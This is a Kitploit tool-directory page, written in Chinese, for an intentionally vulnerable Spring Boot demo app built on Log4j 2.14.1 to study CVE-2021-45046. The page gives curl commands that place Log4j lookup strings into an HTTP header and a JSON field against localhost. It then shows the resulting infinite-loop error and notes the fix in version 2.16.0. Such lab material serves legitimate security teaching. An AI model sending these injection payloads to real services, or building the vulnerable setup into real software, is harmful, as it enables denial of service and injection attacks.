Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4j2-CVE-2021-45046 — # 存在 Log4j2 CVE-2021-45046 漏洞的示例 Spring Boot Web 应用程序,演示 JNDI 注入和无限循环利用,用于教育性安全测试。 | Kitploit
工具/GitHubGitHub/pravin-pp/log4j2-cve-2021-45046
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubpravin-pp/log4j2-cve-2021-45046

log4j2-CVE-2021-45046

# 存在 Log4j2 CVE-2021-45046 漏洞的示例 Spring Boot Web 应用程序,演示 JNDI 注入和无限循环利用,用于教育性安全测试。

查看仓库
24年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Log4j2 漏洞示例应用(CVE-2021-45046)

受影响版本:从 2.0-beta9 到 2.15.0 的所有版本

此应用程序基于存在 CVE-2021-45046 漏洞的 Spring Boot Web 应用。

它使用 Log4j 2.14.1(通过 spring-boot-starter-log4j2 2.6.1)。

运行应用程序

运行它:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

漏洞利用步骤

  • 然后,使用以下命令触发漏洞利用:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${ctx:clientRef}"
}'
  • 请注意,输出显示出现了无限循环,但在测试中并未发现该 DoS 会消耗大量资源,因为该无限循环会被程序识别并报错退出:
root@kitploit:~

${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of  ${ctx:clientRef}: ctx:clientRef
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	

缓解措施

  • Log4j 2.16.0 通过默认移除消息查找模式支持并禁用 JNDI 功能修复了此问题。
下载工具